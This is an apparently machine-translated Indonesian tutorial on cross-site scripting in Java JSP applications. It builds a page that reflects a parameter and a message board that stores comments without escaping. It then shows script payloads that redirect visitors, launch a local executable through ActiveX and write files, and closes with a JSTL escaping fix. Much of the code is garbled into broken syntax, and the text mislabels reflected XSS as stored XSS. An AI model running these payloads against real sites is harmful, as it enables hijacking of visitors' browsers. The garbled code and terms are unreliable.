Kata pengantar
Halo semuanya, pria yang baik adalah saya, saya pria yang baik, saya -0nise. Pada platform pelaporan kerentanan besar, kami sering melihat kerentanan XSS. Jadi pertanyaannya adalah, mengapa kerentanan semacam ini terjadi? Bagaimana seharusnya kerentanan ini diperbaiki?
teks
1.xss? XSS? Apa itu XSS?
XSS juga disebut skrip situs lintas. Saya tidak akan mengatakan kepadanya bahwa itu awalnya disebut CSS, tetapi agar tidak bingung dengan lembaran gaya cascading CSS yang kami gunakan. CSS (serangan scripting lintas-situs), CSS (Cascading Style Sheet) konyol dan tidak bisa membedakannya. Jadi itu disebut XSS.
2. Apa bahaya XSS?
Eksperimen 1:
0x00 Kode Konstruksi
<%@ page language = "java" import = "java.util.*" pageEncoding = "UTF-8"%> <%string path = request.getContextPath (); string basepath = request.getscheme ()+": //"+request.getServername ()+":"+request.getserverport ()+PATPERPORT.POCPY ";"; "+": "+"+"+"; "+"; "+"; "+"; "+"; "+"; "+"; "publporpy ();"+";"+";"+";" publport ";"); "+"; "+"; docty/doctypath (): "+request. "-// w3c // dtd html 4.01 transisi // en"> <html> <head> <base href = "<%= Basepath%>"> <itement> halaman awal JSP 'index. content="no-cache"> <meta http-equiv="expires" content="0"> <meta http-equiv="keywords" content="keyword1,keyword2,keyword3"> <meta http-equiv="description" content="This is my page"> </head> <body> <div style="margin: 0 auto"> <%//Set encoding request.setcharacterencoding ("UTF-8"); // menerima nilai masuk pengguna string tmp = request.getParameter ("OPR"); // nilai masuk default kosong jika (tmp == null) {out.print ("111"); } else {// transcoding string opr = string baru (tmp.getbytes ("iso-8859-1"), "utf-8"); out.print (OPR); } %> Saya konten </div> </body> </html>0x01 Tata Letak Lingkungan
Bor Kerentanan 0x02
Kami mengunjungi: http: // localhost: 8080/xss/index.jsp? Opr = i%e6%98%A5%E7%a7%8b
Kemudian kunjungi: http: // localhost: 8080/xss/index.jsp? Opr = 0nise
Akhirnya kami menemukan "Hukum Hebat":
Cetak Halaman Apa pun Parameter OPR sama dengan. (Tampaknya omong kosong)
Mari kita muat gambar dan lihat
Kunjungi: http: // localhost: 8080/xss/index.jsp? Opr =%3cimg%20src =%221.png%22%3e%3c/img%3e
Karena semua gambar dapat dimuat, apakah file JS kami juga dimuat?
Mengunjungi: http: // localhost: 8080/xss/index.jsp? opr =%3cscript%3ealert (/i%E6%98%A5%E7% A7%8b%E7%A4%menjadi%E5%8c%BA%E6%AC%A2%E8%BF%8E%E5%A4%A7%E5%AE%B6/)%3C/SCRIP%3E
JS? JS? Jadi apakah mungkin untuk mengubah alamat setelah lompat?
Kunjungi: http: // localhost: 8080/xss/index.jsp? Opr =%3cscript%3elocation.href =%27http: //bbs.icunqiu.com%27%3c/script%3e
Karena XSS dapat memuat JS, apakah kita membuka beberapa hal lokal melalui JS?
Letakkan file MD5.exe terlebih dahulu
Kunjungi: http: // localhost: 8080/xss/index.jsp? Opr = <script> var objshell = ActivexObject baru ("wscript.shell"); objshell.run ("g: /work/xss/webroot/md5.exe"); </skrip>
Karena bahkan file lokal dapat dibuka, file jarak jauh Trojan? Punya spoof komputer? Ini perlahan -lahan kuadran. Saya tidak mengatakannya. . . . .
Semua file dapat dibuka, jadi bagaimana dengan menulis beberapa file?
Kunjungi: http: // localhost: 8080/xss/index.jsp? Opr =%3cscript%3evar%20fso, tf; fso%20 =%20new%20activexObject (%22scripting.filesystemject%22); tf%20 =%20fso.cripting TF.WriteLine (%22i%E6%98%A5%E7%A7%8b%E7%A4%menjadi%E5%8c%BA%E6%AC%A2%E8%BF%8E%E6%82%A8%22); tf.close (); peringatan (%22%E6%96%87%E4%BB%B6%E5%86%99%E5%85%A5%E6%88%90%E5%8A%9F%EF%BC%81%22);%3C/SCRIP%3E
Melalui percobaan di atas, kita dapat melihat operasi penugasan parameter OPR. Jika parameter OPR tidak memiliki nilai, itu tidak dapat dieksekusi. Orang yang diserang harus mengakses penyerang yang dirancang terlebih dahulu sebelum menyerang. Metode serangan XSS ini disebut: penyimpanan XSS
Jika Anda ingin melihat eksperimen yang lebih kuat, silakan lanjutkan membaca.
Eksperimen 2:
Kata pengantar:
Sebagian besar situs web akan menangani data. Jadi, seperti apa situs web ini ketika kerentanan XSS muncul?
0x00 Kode Konstruksi
Bagian basis data
Berbasisnya.java
impor java.sql.connection; impor java.sql.driverManager; impor java.sql.preparedstatement; impor java.sql.resultset; impor java.sql.sqlexception; import java.sql.statement; class class classe = { / /{publyon (connection (connection) {connection (connection) {publing connection (publyon (connection (connection (connection (connection (publing connection (publyon (public connection; coba {class.forname ("com.microsoft.sqlserver.jdbc.sqlServerDriver"); conn = driverManager.getConnection ("jdbc: sqlserver: // localhost: 1433; databaseName = sqltmp", "sa", "sa"); } catch (ClassNotFoundException e) {E.PrintStackTrace (); } catch (sqlexception e) {e.printstacktrace (); } return conn; } // Metode untuk menutup tautan public void closeAll (koneksi conn, stat pernyataan, hasil rs) {coba {if (rs! = Null) rs.close (); if (stat! = null) stat.close (); if (conn! = null) conn.close (); } catch (sqlexception e) {e.printstacktrace (); }} // Kelebihan Metode Tutup Metode public void closeAll (Connection Conn, PreparedStatement PSTAT, hasil RS) {coba {if (rs! = Null) rs.close (); if (pstat! = null) pstat.close (); if (conn! = null) conn.close (); } catch (sqlexception e) {e.printstacktrace (); }} // Lanjutkan untuk kelebihan muatan public void closeAll (koneksi conn, disiapkan pstat) {coba {if (pstat! = Null) pstat.close (); if (conn! = null) conn.close (); } catch (sqlexception e) {e.printstacktrace (); }} // Metode publik untuk menambah, menghapus dan memodifikasi pembaruan int publik (String SQL, Object [] Pram) {PreparedStatement PSTAT = NULL; Koneksi conn = null; int a = 0; coba {conn = getConn (); PSTAT = Conn.PrepareStatement (SQL); // Transfer melalui set parameter dan tambahkan korespondensi parameter dalam set ke pernyataan SQL untuk (int i = 1; i <= pram.length; i ++) {pstat.setObject (i, pram [i-1]); } // Metode panggilan a = pstat.executeUpdate (); } catch (sqlexception e) {e.printstacktrace (); } akhirnya {closeall (conn, pstat); } return a; }}Komentar. Java
impor java.sql.*; impor java.util.*; Impor entitas.*; Komentar kelas publik Extends berdasarkan { /***Dapatkan semua pesan** /Daftar Publik <Comm> getComment () {// SQL Pernyataan String SQL = "Pilih CID, CNAME, CCONTEXT DARI Komentar"; Daftar <OMM> Daftar = ArrayList baru <OMM> (); // koneksi koneksi basis data koneksi objek conn = null; // objek eksekusi sql disiapkan pstmt = null; // Eksekusi Database Nilai Pengembalian Hasil Rs = NULL; coba {// Buat tautan basis data conn = this.getConn (); // Buat Objek Eksekusi SQL PSTMT = Conn.PrepareStatement (SQL); // Jalankan Nilai Pengembalian Pernyataan SQL = PSTMT.ExecuteQuery (); // baca while (rs.next ()) {comment = new comm (); Comment.setCid (rs.getint ("cid")); Comment.setCname (rs.getString ("cName")); Comment.setCcontext (rs.getString ("CContext")); list.add (komentar); }} catch (Exception e) {e.printstacktrace (); } akhirnya {// tutup this.closeall (conn, pstmt, rs); } daftar pengembalian; } public int addComment (Comm Comment) {String sql = "masukkan ke dalam nilai komentar (?,?)"; // Jumlah baris int yang terpengaruh = 0; // koneksi koneksi basis data koneksi objek conn = null; // objek eksekusi sql disiapkan pstmt = null; coba {// Buat tautan basis data conn = this.getConn (); // Buat Objek Eksekusi SQL PSTMT = Conn.PrepareStatement (SQL); // atur parameter PSTMT.SetString (1, Comment.getCname ()); pstmt.setstring (2, comment.getCcontext ()); // Jalankan Hasil Pernyataan SQL = PSTMT.ExecuteUpdate (); } catch (Exception e) {E.PrintStackTrace (); } akhirnya {this.closeall (conn, pstmt); } hasil pengembalian; }}Komentarervlvet
import java.io.*;import javax.servlet.*;import javax.servlet.http.*;import entity.*;public class CommentServlvet extends HttpServlet { /** * doGet() */ public void doGet(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException { request.setcharacterencoding ("UTF-8"); response.setContentType ("Teks/html; charset = utf-8"); Printwriter out = response.getWriter (); String opr = request.getParameter ("opr"); Komentar Komentardao = komentar baru (); // Ambil apakah parameternya kosong jika (opr == null || opr.equals ("all")) {request.setAttribute ("all", commentDao.getComment ()); // Forward request.getRequestDispatcher ("Comment.jsp"). Forward (Request, Response); } lain jika (opr.equals ("add")) {komentar komentar = new comm (); Comment.setCname (request.getParameter ("uname")); Comment.setCcontext (request.getParameter ("Context")); if (commentDao.addcomment (komentar)> 0) {out.print ("<script> alert ('Tinggalkan pesan berhasil'); location.href = 'CommentservLvet? opr = semua'; </script>"); } else {out.print ("<script> alert ('pesan gagal'); location.href = 'commentservlvet? opr = all'; </script>"); }} else {request.setAttribute ("all", commentDao.getComment ()); // Forward request.getRequestDispatcher ("Comment.jsp"). Forward (Request, Response); } out.flush (); out.close (); } / ** * dopost () * / public void dopost (permintaan httpservletRequest, respons httpservletResponse) melempar servletException, ioException {doGet (permintaan, respons); }}Comment.jsp
<%@ page language = "java" import = "java.util.*, entitas.*" pageEncoding = "UTF-8"%> <%string path = request.getContextPath (); string basepath = request.getscheme ()+":/"+request.getServername ()+":"+getSCheme ()+":/"+request.getServername ()+":"+getserveme.getserve (/"+"+"" "" "" "" "" "pAWPORT (/" "" "" "" "pAWPORT (/" "" "" "" "pAWPORT (/" "" "" "" pAWPORT ("" "" pAWPORT ("" "" pAWPORT ("" "pAWPORT ()" "-//W3C//DTD HTML 4.01 Transitional//EN"><html> <head> <base href="<%=basePath%>"> <title>My JSP 'comment.jsp' starting page</title> <meta http-equiv="pragma" content="no-cache"> <meta http-equiv="cache-control" Content = "No-Cache"> <meta http-equiv = "kedaluwarsa" content = "0"> <meta http-equiv = "kata kunci" content = "kata kunci1, kata kunci2, kata kunci3"> <meta http-equiv = "deskripsi" content = "Ini halaman saya"> </head> <meta http-equiv = "deskripsi" ini adalah halaman saya "> </head> <% body>; "setch." if (request.getAttribute ("all") == null) {request.getRequestDispatcher ("CommentserVlvet? opr = all"). Forward (Request, Response); } %> <able> < % daftar <Entity.Comm> Daftar = (Daftar <Stity.Comm>) request.getAttribute ("all"); untuk (int i = 0; i <list.size (); i ++) { %> <tr> <td> < %= list.get (i) .getCname () %> </td> <td> < %= list.get (i) .getContext () %Action = "Action =" Action = "TREP =/TREPRED </TRET> </TR> </TR> </TR> < %}} </tabel =/tabel </tange/} </tdring = <TextArea Rows = "5" cols = "30" name = "context"> </ptaruea> julukan: <input type = "text" name = "uname"/> <input type = "kirim" value = "kirim"/> </form> </body> </ html> Eksperimen Kerentanan 0x01
root@1~#
Kami meninggalkan pesan di papan pesan:
<script> var objShell = new ActiveXObject("wscript.shell");objShell.Run("G:/work/XSS/WebRoot/Md5.exe");</script>
Kemudian kunjungi: http: // localhost: 8080/xss/comment.jsp
Dengan cara ini, selama Anda mengakses halaman ini, perangkat lunak akan terbuka secara otomatis dan file jarak jauh akan dibuat? Mengerti perlahan.
root@2~#
Kami meninggalkan pesan di papan pesan:
Salin kode sebagai berikut: <script> var fso, tf; fso = new ActivexObject ("Scripting.FilesystemObject"); tf = fso.createTextFile ("d: //test.txt", true); tf.writeline ("i chunqiu komunitas menyambut Anda"); tf.close ("i chunqiu komunitas menyambut Anda"); tf.cclose ("i chunqiu komunitas menyambut Anda"); tf.);
Kemudian kunjungi: http: // localhost: 8080/xss/comment.jsp
Menulis file berhasil.
root@3~#
Konten Pesan:
[kode] <script> location.href = 'http: //bbs.icunqiu.com' </script> [kode]
Halaman Kunjungi: http: // localhost: 8080/xss/comment.jsp
Mengunjungi halaman pesan akan secara otomatis melompat ke situs web khusus penyerang. Apakah ini pembajakan legendaris?
Solusi pertahanan 3.xss
Seperti kata pepatah, di mana pun ada serangan, ada pertahanan. Seperti XSS, ada metode serangan dan solusi pertahanan.
Ex Expression + JSTL Tag Library
EL (bahasa ekspresi): [size = 12.0000pt] Untuk membuat penulisan JSP lebih mudah. Bahasa ekspresi terinspirasi oleh bahasa Ecmascript dan XPath. Ini menyediakan metode untuk menyederhanakan ekspresi dalam JSP untuk membuat kode JSP lebih sederhana.
JSTL (Perpustakaan Tag Standar JSP): Perpustakaan Tag JSP Sumber Terbuka.
Eksperimen 1 Kode Pertahanan:
<%@ page language = "java" import = "java.util.*" pageCoding = "utf-8"%> <%@ taglib uri = "http://java.sun.com/jsp.jstl/core" prefix = "c"%> <%string path = request.getcontexpath (); request.getScheme ()+": //"+request.getServerName ()+":"+request.getServerport ()+path+"/";%> <! Doctype html public "-// w3c // dtd html 4.01 transisi // en"> <html> <"myp =" <"ence =" enc "> <html> <" myp = "<" pangkalan = "enc"> <html> <"myper =" <"pangkalan =" enc "> <html> <" myper = "<" pangkalan = "enc" 'index.jsp' starting page</title> <meta http-equiv="pragma" content="no-cache"> <meta http-equiv="cache-control" content="no-cache"> <meta http-equiv="expires" content="0"> <meta http-equiv="keywords" content="keyword1,keyword2,keyword3"> <meta http-equiv = "description" content = "Ini halaman saya"> </head> <body> <div style = "margin: 0 auto"> <% request.setcharacterencoding ("UTF-8"); String tmp = request.getParameter ("opr"); // apakah nilai yang masuk kosong jika (tmp == null) {out.print ("111"); } else {// transcoding string opr = string baru (tmp.getbytes ("iso-8859-1"), "utf-8"); request.setAttribute ("name", OPR); %> <c: out value = "$ {requestscope.name}"> </c: out> < %} %> Saya konten </div> </body> </html>Eksperimen 2 Kode Pertahanan:
<%@ page language = "java" import = "java.util.*, entitas.*" pageCoding = "utf-8"%> <%@ taglib uri = "http://java.sun.com/jsp/jstl/core" prefix = "c"%string string = request.getcontl/core (() (CREFIX = "C"%> <%string string = request.getcontl/core (() (CREFIX = "C"%> <%string Path = request.getcontl () (); prefix = "c"%string string = request.getcontl/core (() (cr prefix = "c"%string string = request. request.getScheme ()+": //"+request.getServerame ()+":"+request.getServerport ()+path+"/";%>
<! Doctype html public "-// w3c // dtd html 4.01 transisi // en"> <html> <adom> <base href = "<%= basepath%>"> <title> comments.jsp 'metwe "</title> <MetA http-equiv =" praguma = "no-cace =" no-cache "</title> <MetA http-equiv =" pragum = "praga =" no-cace "</title> <meta http-equiv =" prag = "praguma =" no-cace = "no-cace" http-equiv = "cache-control" content = "no-cache"> <meta http-equiv = "kedaluwarsa" konten = "0"> <meta http-equiv = "kata kunci" konten = "kata kunci1, kata kunci2, my/<meta http-http-quiv =" ini deskripsi = "ini =" dkripsi = "ini, conten =" IS/IS KEYPER <META "> <Meta http-EquiV =" DESKRIP "IS/IS KEYPER <META"> <Meta http-EquiV = "DESKRIP" IS = "IS/IS KONTRIP2" request.setcharacterencoding ("UTF-8"); if (request.getAttribute ("all") == null) {request.getRequestDispatcher ("CommentserVlvet? opr = all"). Forward (Request, Response); } %> <able> <!-solusi XSS pertahanan-> <c: foreach var = "x" items = "$ {requestscope.all}"> <tr> <td> <c: out value = "$ {x.getcname ()}"> </c: out> </td> <td> <c: out value = "$" $ "$" $ " </td> </td> </tr> </c: foreach> </able> <bentuk action = "commentservlvet? opr = add" Method = "Post"> <TextArea Baris = "5" cols = "30" name = "context"> </pextarea> julukan: <input type = "Text" name = "uncame"//</pextarea> julukan: <input type = "Text" name "name =" uNTAM "//</pextAreA = <input type =" Text "name" name = "uname"//> </body> </html> Kesimpulan
Teknologi ini tidak hitam dan putih, dan spesialisasinya sangat bagus.